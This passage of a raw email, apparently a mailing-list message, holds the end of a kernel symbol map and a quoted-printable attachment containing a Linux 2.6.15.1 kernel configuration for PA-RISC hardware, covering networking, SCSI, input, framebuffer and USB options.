1040e920 b rt_periodic_timer=0A=
1040e938 b rt_secret_timer=0A=
1040e950 b rt_hash_table=0A=
1040e954 b rt_hash_mask=0A=
1040e958 b rt_hash_log=0A=
1040e95c b rt_hash_rnd=0A=
1040e960 b rt_cache_stat=0A=
1040e964 b flush_delay=0A=
1040e968 b peer_pool_lock=0A=
1040e968 b peer_total=0A=
1040e96c b inet_peer_unused_head=0A=
1040e970 B inet_protos=0A=
1040ed70 b inet_proto_lock=0A=
1040ed70 b ipfrag_lock=0A=
1040ed70 b ipq_hash=0A=
1040ee70 b ipfrag_hash_rnd=0A=
1040ee74 b ipfrag_secret_timer=0A=
1040ee8c B ip_ra_chain=0A=
1040ee90 b hint___0=0A=
1040ee94 B sysctl_tcp_mem=0A=
1040eea0 B tcp_memory_allocated=0A=
1040eea4 B tcp_sockets_allocated=0A=
1040eea8 B tcp_memory_pressure=0A=
1040eeac B sysctl_tcp_stdurg=0A=
1040eeb0 B sysctl_tcp_rfc1337=0A=
1040eeb4 B sysctl_tcp_ecn=0A=
1040eeb8 B sysctl_tcp_frto=0A=
1040eebc B sysctl_tcp_nometrics_save=0A=
1040eec0 B sysctl_tcp_orphan_retries=0A=
1040eec4 B sysctl_tcp_tw_reuse=0A=
1040eec8 B sysctl_tcp_low_latency=0A=
1040eecc b tcp_socket=0A=
1040eed0 b tcp4_seq_fops=0A=
1040ef3c B sysctl_tcp_abort_on_overflow=0A=
1040ef40 B raw_v4_htable=0A=
1040ef40 b tcp_cong_list_lock=0A=
1040f340 b complained___2=0A=
1040f344 B udp_hash=0A=
1040f544 B udp_port_rover=0A=
1040f548 b udp4_seq_fops=0A=
1040f5b4 B sysctl_icmp_echo_ignore_all=0A=
1040f5b8 B sysctl_icmp_ignore_bogus_error_responses=0A=
1040f5bc B sysctl_icmp_errors_use_inbound_ifaddr=0A=
1040f5c0 b per_cpu____icmp_socket=0A=
1040f5c4 b inetaddr_chain=0A=
1040f5c8 B sysctl_ip_nonlocal_bind=0A=
1040f5cc B sysctl_ip_dynaddr=0A=
1040f5d0 b inetsw=0A=
1040f5d0 b inetsw_lock=0A=
1040f628 B ipv4_config=0A=
1040f634 b zero=0A=
1040f638 B ip_fib_local_table=0A=
1040f63c B ip_fib_main_table=0A=
1040f640 b fib_info_hash=0A=
1040f640 b fib_info_lock=0A=
1040f644 b fib_info_laddrhash=0A=
1040f648 b fib_hash_size=0A=
1040f64c b fib_info_cnt=0A=
1040f650 b fib_info_devhash=0A=
1040fa50 b fib_hash_genid=0A=
1040fa50 b fib_hash_lock=0A=
1040fa54 B unix_socket_table=0A=
1040fe58 b unix_nr_socks=0A=
1040fe5c b unix_sysctl_header=0A=
1040fe60 b packet_sklist=0A=
1040fe64 b packet_sklist_lock=0A=
1040fe64 b packet_socks_nr=0A=
1040fe68 A __bss_stop=0A=
1040fe68 A _end=0A=

------=_NextPart_000_0076_01C621C1.F67DEB90
Content-Type: application/octet-stream;
	name="config-2.6.15.1-pa4"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="config-2.6.15.1-pa4"

#=0A=
# Automatically generated make config: don't edit=0A=
# Linux kernel version: 2.6.15.1-pa4=0A=
# Sun Jan 22 02:57:32 2006=0A=
#=0A=
CONFIG_PARISC=3Dy=0A=
CONFIG_MMU=3Dy=0A=
CONFIG_STACK_GROWSUP=3Dy=0A=
CONFIG_RWSEM_GENERIC_SPINLOCK=3Dy=0A=
CONFIG_GENERIC_CALIBRATE_DELAY=3Dy=0A=
CONFIG_GENERIC_HARDIRQS=3Dy=0A=
CONFIG_GENERIC_IRQ_PROBE=3Dy=0A=
=0A=
#=0A=
# Code maturity level options=0A=
#=0A=
CONFIG_EXPERIMENTAL=3Dy=0A=
CONFIG_CLEAN_COMPILE=3Dy=0A=
CONFIG_BROKEN_ON_SMP=3Dy=0A=
CONFIG_INIT_ENV_ARG_LIMIT=3D32=0A=
=0A=
#=0A=
# General setup=0A=
#=0A=
CONFIG_LOCALVERSION=3D"-32"=0A=
# CONFIG_LOCALVERSION_AUTO is not set=0A=
CONFIG_SWAP=3Dy=0A=
CONFIG_SYSVIPC=3Dy=0A=
CONFIG_POSIX_MQUEUE=3Dy=0A=
# CONFIG_BSD_PROCESS_ACCT is not set=0A=
CONFIG_SYSCTL=3Dy=0A=
# CONFIG_AUDIT is not set=0A=
CONFIG_HOTPLUG=3Dy=0A=
CONFIG_KOBJECT_UEVENT=3Dy=0A=
CONFIG_IKCONFIG=3Dy=0A=
CONFIG_IKCONFIG_PROC=3Dy=0A=
CONFIG_INITRAMFS_SOURCE=3D""=0A=
CONFIG_CC_OPTIMIZE_FOR_SIZE=3Dy=0A=
# CONFIG_EMBEDDED is not set=0A=
CONFIG_KALLSYMS=3Dy=0A=
# CONFIG_KALLSYMS_EXTRA_PASS is not set=0A=
CONFIG_PRINTK=3Dy=0A=
CONFIG_BUG=3Dy=0A=
CONFIG_BASE_FULL=3Dy=0A=
CONFIG_FUTEX=3Dy=0A=
CONFIG_EPOLL=3Dy=0A=
CONFIG_SHMEM=3Dy=0A=
CONFIG_CC_ALIGN_FUNCTIONS=3D0=0A=
CONFIG_CC_ALIGN_LABELS=3D0=0A=
CONFIG_CC_ALIGN_LOOPS=3D0=0A=
CONFIG_CC_ALIGN_JUMPS=3D0=0A=
# CONFIG_TINY_SHMEM is not set=0A=
CONFIG_BASE_SMALL=3D0=0A=
=0A=
#=0A=
# Loadable module support=0A=
#=0A=
CONFIG_MODULES=3Dy=0A=
CONFIG_MODULE_UNLOAD=3Dy=0A=
# CONFIG_MODULE_FORCE_UNLOAD is not set=0A=
CONFIG_OBSOLETE_MODPARM=3Dy=0A=
# CONFIG_MODVERSIONS is not set=0A=
# CONFIG_MODULE_SRCVERSION_ALL is not set=0A=
CONFIG_KMOD=3Dy=0A=
=0A=
#=0A=
# Block layer=0A=
#=0A=
=0A=
#=0A=
# IO Schedulers=0A=
#=0A=
CONFIG_IOSCHED_NOOP=3Dy=0A=
CONFIG_IOSCHED_AS=3Dy=0A=
CONFIG_IOSCHED_DEADLINE=3Dy=0A=
CONFIG_IOSCHED_CFQ=3Dy=0A=
# CONFIG_DEFAULT_AS is not set=0A=
# CONFIG_DEFAULT_DEADLINE is not set=0A=
# CONFIG_DEFAULT_CFQ is not set=0A=
CONFIG_DEFAULT_NOOP=3Dy=0A=
CONFIG_DEFAULT_IOSCHED=3D"noop"=0A=
=0A=
#=0A=
# Processor type and features=0A=
#=0A=
# CONFIG_PA7000 is not set=0A=
# CONFIG_PA7100LC is not set=0A=
# CONFIG_PA7200 is not set=0A=
# CONFIG_PA7300LC is not set=0A=
CONFIG_PA8X00=3Dy=0A=
CONFIG_PA20=3Dy=0A=
CONFIG_PREFETCH=3Dy=0A=
# CONFIG_64BIT is not set=0A=
# CONFIG_SMP is not set=0A=
# CONFIG_HZ_100 is not set=0A=
CONFIG_HZ_250=3Dy=0A=
# CONFIG_HZ_1000 is not set=0A=
CONFIG_HZ=3D250=0A=
CONFIG_SELECT_MEMORY_MODEL=3Dy=0A=
CONFIG_FLATMEM_MANUAL=3Dy=0A=
# CONFIG_DISCONTIGMEM_MANUAL is not set=0A=
# CONFIG_SPARSEMEM_MANUAL is not set=0A=
CONFIG_FLATMEM=3Dy=0A=
CONFIG_FLAT_NODE_MEM_MAP=3Dy=0A=
# CONFIG_SPARSEMEM_STATIC is not set=0A=
CONFIG_SPLIT_PTLOCK_CPUS=3D4=0A=
# CONFIG_PREEMPT is not set=0A=
# CONFIG_HPUX is not set=0A=
=0A=
#=0A=
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)=0A=
#=0A=
CONFIG_GSC=3Dy=0A=
CONFIG_HPPB=3Dy=0A=
CONFIG_IOMMU_CCIO=3Dy=0A=
CONFIG_GSC_LASI=3Dy=0A=
CONFIG_GSC_WAX=3Dy=0A=
# CONFIG_EISA is not set=0A=
CONFIG_PCI=3Dy=0A=
CONFIG_PCI_LEGACY_PROC=3Dy=0A=
CONFIG_GSC_DINO=3Dy=0A=
CONFIG_PCI_LBA=3Dy=0A=
CONFIG_IOSAPIC=3Dy=0A=
CONFIG_IOMMU_SBA=3Dy=0A=
=0A=
#=0A=
# PCCARD (PCMCIA/CardBus) support=0A=
#=0A=
# CONFIG_PCCARD is not set=0A=
=0A=
#=0A=
# PCI Hotplug Support=0A=
#=0A=
# CONFIG_HOTPLUG_PCI is not set=0A=
=0A=
#=0A=
# PA-RISC specific drivers=0A=
#=0A=
# CONFIG_SUPERIO is not set=0A=
CONFIG_CHASSIS_LCD_LED=3Dy=0A=
# CONFIG_PDC_CHASSIS is not set=0A=
CONFIG_PDC_STABLE=3Dy=0A=
=0A=
#=0A=
# Executable file formats=0A=
#=0A=
CONFIG_BINFMT_ELF=3Dy=0A=
# CONFIG_BINFMT_MISC is not set=0A=
=0A=
#=0A=
# Networking=0A=
#=0A=
CONFIG_NET=3Dy=0A=
=0A=
#=0A=
# Networking options=0A=
#=0A=
CONFIG_PACKET=3Dy=0A=
CONFIG_PACKET_MMAP=3Dy=0A=
CONFIG_UNIX=3Dy=0A=
# CONFIG_NET_KEY is not set=0A=
CONFIG_INET=3Dy=0A=
# CONFIG_IP_MULTICAST is not set=0A=
# CONFIG_IP_ADVANCED_ROUTER is not set=0A=
CONFIG_IP_FIB_HASH=3Dy=0A=
# CONFIG_IP_PNP is not set=0A=
# CONFIG_NET_IPIP is not set=0A=
# CONFIG_NET_IPGRE is not set=0A=
# CONFIG_ARPD is not set=0A=
# CONFIG_SYN_COOKIES is not set=0A=
# CONFIG_INET_AH is not set=0A=
# CONFIG_INET_ESP is not set=0A=
# CONFIG_INET_IPCOMP is not set=0A=
# CONFIG_INET_TUNNEL is not set=0A=
# CONFIG_INET_DIAG is not set=0A=
# CONFIG_TCP_CONG_ADVANCED is not set=0A=
CONFIG_TCP_CONG_BIC=3Dy=0A=
# CONFIG_IPV6 is not set=0A=
# CONFIG_NETFILTER is not set=0A=
=0A=
#=0A=
# DCCP Configuration (EXPERIMENTAL)=0A=
#=0A=
# CONFIG_IP_DCCP is not set=0A=
=0A=
#=0A=
# SCTP Configuration (EXPERIMENTAL)=0A=
#=0A=
# CONFIG_IP_SCTP is not set=0A=
# CONFIG_ATM is not set=0A=
# CONFIG_BRIDGE is not set=0A=
# CONFIG_VLAN_8021Q is not set=0A=
# CONFIG_DECNET is not set=0A=
# CONFIG_LLC2 is not set=0A=
# CONFIG_IPX is not set=0A=
# CONFIG_ATALK is not set=0A=
# CONFIG_X25 is not set=0A=
# CONFIG_LAPB is not set=0A=
# CONFIG_NET_DIVERT is not set=0A=
# CONFIG_ECONET is not set=0A=
# CONFIG_WAN_ROUTER is not set=0A=
=0A=
#=0A=
# QoS and/or fair queueing=0A=
#=0A=
# CONFIG_NET_SCHED is not set=0A=
=0A=
#=0A=
# Network testing=0A=
#=0A=
# CONFIG_NET_PKTGEN is not set=0A=
# CONFIG_HAMRADIO is not set=0A=
# CONFIG_IRDA is not set=0A=
# CONFIG_BT is not set=0A=
# CONFIG_IEEE80211 is not set=0A=
=0A=
#=0A=
# Device Drivers=0A=
#=0A=
=0A=
#=0A=
# Generic Driver Options=0A=
#=0A=
# CONFIG_STANDALONE is not set=0A=
# CONFIG_PREVENT_FIRMWARE_BUILD is not set=0A=
CONFIG_FW_LOADER=3Dy=0A=
=0A=
#=0A=
# Connector - unified userspace <-> kernelspace linker=0A=
#=0A=
# CONFIG_CONNECTOR is not set=0A=
=0A=
#=0A=
# Memory Technology Devices (MTD)=0A=
#=0A=
# CONFIG_MTD is not set=0A=
=0A=
#=0A=
# Parallel port support=0A=
#=0A=
CONFIG_PARPORT=3Dm=0A=
# CONFIG_PARPORT_PC is not set=0A=
CONFIG_PARPORT_NOT_PC=3Dy=0A=
CONFIG_PARPORT_GSC=3Dy=0A=
# CONFIG_PARPORT_1284 is not set=0A=
=0A=
#=0A=
# Plug and Play support=0A=
#=0A=
=0A=
#=0A=
# Block devices=0A=
#=0A=
# CONFIG_PARIDE is not set=0A=
# CONFIG_BLK_CPQ_DA is not set=0A=
# CONFIG_BLK_CPQ_CISS_DA is not set=0A=
# CONFIG_BLK_DEV_DAC960 is not set=0A=
# CONFIG_BLK_DEV_UMEM is not set=0A=
# CONFIG_BLK_DEV_COW_COMMON is not set=0A=
CONFIG_BLK_DEV_LOOP=3Dm=0A=
# CONFIG_BLK_DEV_CRYPTOLOOP is not set=0A=
# CONFIG_BLK_DEV_NBD is not set=0A=
# CONFIG_BLK_DEV_SX8 is not set=0A=
# CONFIG_BLK_DEV_UB is not set=0A=
CONFIG_BLK_DEV_RAM=3Dm=0A=
CONFIG_BLK_DEV_RAM_COUNT=3D16=0A=
CONFIG_BLK_DEV_RAM_SIZE=3D4096=0A=
# CONFIG_CDROM_PKTCDVD is not set=0A=
# CONFIG_ATA_OVER_ETH is not set=0A=
=0A=
#=0A=
# ATA/ATAPI/MFM/RLL support=0A=
#=0A=
# CONFIG_IDE is not set=0A=
=0A=
#=0A=
# SCSI device support=0A=
#=0A=
# CONFIG_RAID_ATTRS is not set=0A=
CONFIG_SCSI=3Dy=0A=
CONFIG_SCSI_PROC_FS=3Dy=0A=
=0A=
#=0A=
# SCSI support type (disk, tape, CD-ROM)=0A=
#=0A=
CONFIG_BLK_DEV_SD=3Dy=0A=
CONFIG_CHR_DEV_ST=3Dy=0A=
# CONFIG_CHR_DEV_OSST is not set=0A=
CONFIG_BLK_DEV_SR=3Dy=0A=
# CONFIG_BLK_DEV_SR_VENDOR is not set=0A=
CONFIG_CHR_DEV_SG=3Dy=0A=
# CONFIG_CHR_DEV_SCH is not set=0A=
=0A=
#=0A=
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs=0A=
#=0A=
# CONFIG_SCSI_MULTI_LUN is not set=0A=
CONFIG_SCSI_CONSTANTS=3Dy=0A=
# CONFIG_SCSI_LOGGING is not set=0A=
=0A=
#=0A=
# SCSI Transport Attributes=0A=
#=0A=
CONFIG_SCSI_SPI_ATTRS=3Dy=0A=
# CONFIG_SCSI_FC_ATTRS is not set=0A=
# CONFIG_SCSI_ISCSI_ATTRS is not set=0A=
# CONFIG_SCSI_SAS_ATTRS is not set=0A=
=0A=
#=0A=
# SCSI low-level drivers=0A=
#=0A=
# CONFIG_ISCSI_TCP is not set=0A=
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set=0A=
# CONFIG_SCSI_3W_9XXX is not set=0A=
# CONFIG_SCSI_ACARD is not set=0A=
# CONFIG_SCSI_AACRAID is not set=0A=
# CONFIG_SCSI_AIC7XXX is not set=0A=
# CONFIG_SCSI_AIC7XXX_OLD is not set=0A=
# CONFIG_SCSI_AIC79XX is not set=0A=
# CONFIG_SCSI_DPT_I2O is not set=0A=
# CONFIG_MEGARAID_NEWGEN is not set=0A=
# CONFIG_MEGARAID_LEGACY is not set=0A=
# CONFIG_MEGARAID_SAS is not set=0A=
# CONFIG_SCSI_SATA is not set=0A=
# CONFIG_SCSI_DMX3191D is not set=0A=
# CONFIG_SCSI_FUTURE_DOMAIN is not set=0A=
# CONFIG_SCSI_IPS is not set=0A=
# CONFIG_SCSI_INITIO is not set=0A=
# CONFIG_SCSI_INIA100 is not set=0A=
# CONFIG_SCSI_PPA is not set=0A=
# CONFIG_SCSI_IMM is not set=0A=
CONFIG_SCSI_LASI700=3Dy=0A=
CONFIG_53C700_LE_ON_BE=3Dy=0A=
CONFIG_SCSI_SYM53C8XX_2=3Dy=0A=
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=3D1=0A=
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=3D16=0A=
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=3D64=0A=
CONFIG_SCSI_SYM53C8XX_MMIO=3Dy=0A=
# CONFIG_SCSI_IPR is not set=0A=
CONFIG_SCSI_ZALON=3Dy=0A=
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=3D8=0A=
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=3D32=0A=
CONFIG_SCSI_NCR53C8XX_SYNC=3D80=0A=
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set=0A=
# CONFIG_SCSI_QLOGIC_FC is not set=0A=
# CONFIG_SCSI_QLOGIC_1280 is not set=0A=
CONFIG_SCSI_QLA2XXX=3Dy=0A=
# CONFIG_SCSI_QLA21XX is not set=0A=
# CONFIG_SCSI_QLA22XX is not set=0A=
# CONFIG_SCSI_QLA2300 is not set=0A=
# CONFIG_SCSI_QLA2322 is not set=0A=
# CONFIG_SCSI_QLA6312 is not set=0A=
# CONFIG_SCSI_QLA24XX is not set=0A=
# CONFIG_SCSI_LPFC is not set=0A=
# CONFIG_SCSI_DC395x is not set=0A=
# CONFIG_SCSI_DC390T is not set=0A=
# CONFIG_SCSI_NSP32 is not set=0A=
# CONFIG_SCSI_DEBUG is not set=0A=
=0A=
#=0A=
# Multi-device support (RAID and LVM)=0A=
#=0A=
# CONFIG_MD is not set=0A=
=0A=
#=0A=
# Fusion MPT device support=0A=
#=0A=
# CONFIG_FUSION is not set=0A=
# CONFIG_FUSION_SPI is not set=0A=
# CONFIG_FUSION_FC is not set=0A=
# CONFIG_FUSION_SAS is not set=0A=
=0A=
#=0A=
# IEEE 1394 (FireWire) support=0A=
#=0A=
# CONFIG_IEEE1394 is not set=0A=
=0A=
#=0A=
# I2O device support=0A=
#=0A=
# CONFIG_I2O is not set=0A=
=0A=
#=0A=
# Network device support=0A=
#=0A=
CONFIG_NETDEVICES=3Dy=0A=
# CONFIG_DUMMY is not set=0A=
# CONFIG_BONDING is not set=0A=
# CONFIG_EQUALIZER is not set=0A=
# CONFIG_TUN is not set=0A=
=0A=
#=0A=
# ARCnet devices=0A=
#=0A=
# CONFIG_ARCNET is not set=0A=
=0A=
#=0A=
# PHY device support=0A=
#=0A=
# CONFIG_PHYLIB is not set=0A=
=0A=
#=0A=
# Ethernet (10 or 100Mbit)=0A=
#=0A=
CONFIG_NET_ETHERNET=3Dy=0A=
# CONFIG_MII is not set=0A=
# CONFIG_LASI_82596 is not set=0A=
# CONFIG_HAPPYMEAL is not set=0A=
# CONFIG_SUNGEM is not set=0A=
# CONFIG_CASSINI is not set=0A=
# CONFIG_NET_VENDOR_3COM is not set=0A=
=0A=
#=0A=
# Tulip family network device support=0A=
#=0A=
CONFIG_NET_TULIP=3Dy=0A=
# CONFIG_DE2104X is not set=0A=
CONFIG_TULIP=3Dm=0A=
CONFIG_TULIP_MWI=3Dy=0A=
# CONFIG_TULIP_MMIO is not set=0A=
# CONFIG_TULIP_NAPI is not set=0A=
# CONFIG_DE4X5 is not set=0A=
# CONFIG_WINBOND_840 is not set=0A=
# CONFIG_DM9102 is not set=0A=
# CONFIG_ULI526X is not set=0A=
# CONFIG_HP100 is not set=0A=
# CONFIG_NET_PCI is not set=0A=
# CONFIG_NET_POCKET is not set=0A=
=0A=
#=0A=
# Ethernet (1000 Mbit)=0A=
#=0A=
# CONFIG_ACENIC is not set=0A=
# CONFIG_DL2K is not set=0A=
# CONFIG_E1000 is not set=0A=
# CONFIG_NS83820 is not set=0A=
# CONFIG_HAMACHI is not set=0A=
# CONFIG_YELLOWFIN is not set=0A=
# CONFIG_R8169 is not set=0A=
# CONFIG_SIS190 is not set=0A=
# CONFIG_SKGE is not set=0A=
# CONFIG_SK98LIN is not set=0A=
# CONFIG_TIGON3 is not set=0A=
# CONFIG_BNX2 is not set=0A=
=0A=
#=0A=
# Ethernet (10000 Mbit)=0A=
#=0A=
# CONFIG_CHELSIO_T1 is not set=0A=
# CONFIG_IXGB is not set=0A=
# CONFIG_S2IO is not set=0A=
=0A=
#=0A=
# Token Ring devices=0A=
#=0A=
# CONFIG_TR is not set=0A=
=0A=
#=0A=
# Wireless LAN (non-hamradio)=0A=
#=0A=
# CONFIG_NET_RADIO is not set=0A=
=0A=
#=0A=
# Wan interfaces=0A=
#=0A=
# CONFIG_WAN is not set=0A=
# CONFIG_FDDI is not set=0A=
# CONFIG_HIPPI is not set=0A=
# CONFIG_PLIP is not set=0A=
# CONFIG_PPP is not set=0A=
# CONFIG_SLIP is not set=0A=
# CONFIG_NET_FC is not set=0A=
# CONFIG_SHAPER is not set=0A=
# CONFIG_NETCONSOLE is not set=0A=
# CONFIG_NETPOLL is not set=0A=
# CONFIG_NET_POLL_CONTROLLER is not set=0A=
=0A=
#=0A=
# ISDN subsystem=0A=
#=0A=
# CONFIG_ISDN is not set=0A=
=0A=
#=0A=
# Telephony Support=0A=
#=0A=
# CONFIG_PHONE is not set=0A=
=0A=
#=0A=
# Input device support=0A=
#=0A=
CONFIG_INPUT=3Dy=0A=
=0A=
#=0A=
# Userland interfaces=0A=
#=0A=
CONFIG_INPUT_MOUSEDEV=3Dy=0A=
CONFIG_INPUT_MOUSEDEV_PSAUX=3Dy=0A=
CONFIG_INPUT_MOUSEDEV_SCREEN_X=3D1024=0A=
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=3D768=0A=
# CONFIG_INPUT_JOYDEV is not set=0A=
# CONFIG_INPUT_TSDEV is not set=0A=
CONFIG_INPUT_EVDEV=3Dy=0A=
# CONFIG_INPUT_EVBUG is not set=0A=
=0A=
#=0A=
# Input Device Drivers=0A=
#=0A=
CONFIG_INPUT_KEYBOARD=3Dy=0A=
CONFIG_KEYBOARD_ATKBD=3Dy=0A=
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=3Dy=0A=
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set=0A=
# CONFIG_KEYBOARD_SUNKBD is not set=0A=
# CONFIG_KEYBOARD_LKKBD is not set=0A=
# CONFIG_KEYBOARD_XTKBD is not set=0A=
# CONFIG_KEYBOARD_NEWTON is not set=0A=
# CONFIG_KEYBOARD_HIL_OLD is not set=0A=
# CONFIG_KEYBOARD_HIL is not set=0A=
CONFIG_INPUT_MOUSE=3Dy=0A=
# CONFIG_MOUSE_PS2 is not set=0A=
# CONFIG_MOUSE_SERIAL is not set=0A=
# CONFIG_MOUSE_VSXXXAA is not set=0A=
# CONFIG_MOUSE_HIL is not set=0A=
# CONFIG_INPUT_JOYSTICK is not set=0A=
CONFIG_INPUT_TOUCHSCREEN=3Dy=0A=
# CONFIG_TOUCHSCREEN_GUNZE is not set=0A=
# CONFIG_TOUCHSCREEN_ELO is not set=0A=
# CONFIG_TOUCHSCREEN_MTOUCH is not set=0A=
# CONFIG_TOUCHSCREEN_MK712 is not set=0A=
# CONFIG_INPUT_MISC is not set=0A=
=0A=
#=0A=
# Hardware I/O ports=0A=
#=0A=
CONFIG_SERIO=3Dy=0A=
# CONFIG_SERIO_SERPORT is not set=0A=
# CONFIG_SERIO_PARKBD is not set=0A=
CONFIG_SERIO_GSCPS2=3Dy=0A=
# CONFIG_HP_SDC is not set=0A=
# CONFIG_SERIO_PCIPS2 is not set=0A=
CONFIG_SERIO_LIBPS2=3Dy=0A=
# CONFIG_SERIO_RAW is not set=0A=
# CONFIG_GAMEPORT is not set=0A=
=0A=
#=0A=
# Character devices=0A=
#=0A=
CONFIG_VT=3Dy=0A=
CONFIG_VT_CONSOLE=3Dy=0A=
CONFIG_HW_CONSOLE=3Dy=0A=
# CONFIG_SERIAL_NONSTANDARD is not set=0A=
=0A=
#=0A=
# Serial drivers=0A=
#=0A=
# CONFIG_SERIAL_8250 is not set=0A=
=0A=
#=0A=
# Non-8250 serial port support=0A=
#=0A=
# CONFIG_SERIAL_MUX is not set=0A=
# CONFIG_PDC_CONSOLE is not set=0A=
# CONFIG_SERIAL_JSM is not set=0A=
CONFIG_UNIX98_PTYS=3Dy=0A=
CONFIG_LEGACY_PTYS=3Dy=0A=
CONFIG_LEGACY_PTY_COUNT=3D256=0A=
CONFIG_PRINTER=3Dm=0A=
# CONFIG_LP_CONSOLE is not set=0A=
# CONFIG_PPDEV is not set=0A=
# CONFIG_TIPAR is not set=0A=
=0A=
#=0A=
# IPMI=0A=
#=0A=
# CONFIG_IPMI_HANDLER is not set=0A=
=0A=
#=0A=
# Watchdog Cards=0A=
#=0A=
CONFIG_WATCHDOG=3Dy=0A=
# CONFIG_WATCHDOG_NOWAYOUT is not set=0A=
=0A=
#=0A=
# Watchdog Device Drivers=0A=
#=0A=
# CONFIG_SOFT_WATCHDOG is not set=0A=
=0A=
#=0A=
# PCI-based Watchdog Cards=0A=
#=0A=
# CONFIG_PCIPCWATCHDOG is not set=0A=
# CONFIG_WDTPCI is not set=0A=
=0A=
#=0A=
# USB-based Watchdog Cards=0A=
#=0A=
# CONFIG_USBPCWATCHDOG is not set=0A=
CONFIG_GEN_RTC=3Dy=0A=
CONFIG_GEN_RTC_X=3Dy=0A=
# CONFIG_DTLK is not set=0A=
# CONFIG_R3964 is not set=0A=
# CONFIG_APPLICOM is not set=0A=
=0A=
#=0A=
# Ftape, the floppy tape device driver=0A=
#=0A=
# CONFIG_DRM is not set=0A=
# CONFIG_RAW_DRIVER is not set=0A=
=0A=
#=0A=
# TPM devices=0A=
#=0A=
# CONFIG_TCG_TPM is not set=0A=
# CONFIG_TELCLOCK is not set=0A=
=0A=
#=0A=
# I2C support=0A=
#=0A=
# CONFIG_I2C is not set=0A=
=0A=
#=0A=
# Dallas's 1-wire bus=0A=
#=0A=
# CONFIG_W1 is not set=0A=
=0A=
#=0A=
# Hardware Monitoring support=0A=
#=0A=
CONFIG_HWMON=3Dy=0A=
# CONFIG_HWMON_VID is not set=0A=
# CONFIG_HWMON_DEBUG_CHIP is not set=0A=
=0A=
#=0A=
# Misc devices=0A=
#=0A=
=0A=
#=0A=
# Multimedia Capabilities Port drivers=0A=
#=0A=
=0A=
#=0A=
# Multimedia devices=0A=
#=0A=
# CONFIG_VIDEO_DEV is not set=0A=
=0A=
#=0A=
# Digital Video Broadcasting Devices=0A=
#=0A=
# CONFIG_DVB is not set=0A=
=0A=
#=0A=
# Graphics support=0A=
#=0A=
CONFIG_FB=3Dy=0A=
CONFIG_FB_CFB_FILLRECT=3Dy=0A=
CONFIG_FB_CFB_COPYAREA=3Dy=0A=
CONFIG_FB_CFB_IMAGEBLIT=3Dy=0A=
# CONFIG_FB_MACMODES is not set=0A=
# CONFIG_FB_MODE_HELPERS is not set=0A=
# CONFIG_FB_TILEBLITTING is not set=0A=
# CONFIG_FB_CIRRUS is not set=0A=
# CONFIG_FB_PM2 is not set=0A=
# CONFIG_FB_CYBER2000 is not set=0A=
# CONFIG_FB_ASILIANT is not set=0A=
# CONFIG_FB_IMSTT is not set=0A=
CONFIG_FB_STI=3Dy=0A=
# CONFIG_FB_S1D13XXX is not set=0A=
# CONFIG_FB_NVIDIA is not set=0A=
# CONFIG_FB_RIVA is not set=0A=
# CONFIG_FB_MATROX is not set=0A=
# CONFIG_FB_RADEON_OLD is not set=0A=
# CONFIG_FB_RADEON is not set=0A=
# CONFIG_FB_ATY128 is not set=0A=
# CONFIG_FB_ATY is not set=0A=
# CONFIG_FB_SAVAGE is not set=0A=
# CONFIG_FB_SIS is not set=0A=
# CONFIG_FB_NEOMAGIC is not set=0A=
# CONFIG_FB_KYRO is not set=0A=
# CONFIG_FB_3DFX is not set=0A=
# CONFIG_FB_VOODOO1 is not set=0A=
# CONFIG_FB_CYBLA is not set=0A=
# CONFIG_FB_TRIDENT is not set=0A=
# CONFIG_FB_VIRTUAL is not set=0A=
=0A=
#=0A=
# Console display driver support=0A=
#=0A=
CONFIG_DUMMY_CONSOLE=3Dy=0A=
CONFIG_DUMMY_CONSOLE_COLUMNS=3D160=0A=
CONFIG_DUMMY_CONSOLE_ROWS=3D64=0A=
CONFIG_FRAMEBUFFER_CONSOLE=3Dy=0A=
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set=0A=
CONFIG_STI_CONSOLE=3Dy=0A=
CONFIG_FONTS=3Dy=0A=
# CONFIG_FONT_8x8 is not set=0A=
CONFIG_FONT_8x16=3Dy=0A=
# CONFIG_FONT_6x11 is not set=0A=
# CONFIG_FONT_7x14 is not set=0A=
# CONFIG_FONT_PEARL_8x8 is not set=0A=
# CONFIG_FONT_ACORN_8x8 is not set=0A=
# CONFIG_FONT_MINI_4x6 is not set=0A=
# CONFIG_FONT_SUN8x16 is not set=0A=
# CONFIG_FONT_SUN12x22 is not set=0A=
# CONFIG_FONT_10x18 is not set=0A=
=0A=
#=0A=
# Logo configuration=0A=
#=0A=
# CONFIG_LOGO is not set=0A=
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set=0A=
=0A=
#=0A=
# Sound=0A=
#=0A=
# CONFIG_SOUND is not set=0A=
=0A=
#=0A=
# USB support=0A=
#=0A=
CONFIG_USB_ARCH_HAS_HCD=3Dy=0A=
CONFIG_USB_ARCH_HAS_OHCI=3Dy=0A=
CONFIG_USB=3Dm=0A=
# CONFIG_USB_DEBUG is not set=0A=
=0A=
#=0A=
# Miscellaneous USB options=0A=
#=0A=
CONFIG_USB_DEVICEFS=3Dy=0A=
# CONFIG_USB_BANDWIDTH is not set=0A=
# CONFIG_USB_DYNAMIC_MINORS is not set=0A=
# CONFIG_USB_OTG is not set=0A=
=0A=
#=0A=
# USB Host Controller Drivers=0A=
#=0A=
CONFIG_USB_EHCI_HCD=3Dm=0A=
# CONFIG_USB_EHCI_SPLIT_ISO is not set=0A=
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set=0A=
# CONFIG_USB_ISP116X_HCD is not set=0A=
CONFIG_USB_OHCI_HCD=3Dm=0A=
# CONFIG_USB_OHCI_BIG_ENDIAN is not set=0A=
CONFIG_USB_OHCI_LITTLE_ENDIAN=3Dy=0A=
# CONFIG_USB_UHCI_HCD is not set=0A=
# CONFIG_USB_SL811_HCD is not set=0A=
=0A=
#=0A=
# USB Device Class drivers=0A=
#=0A=
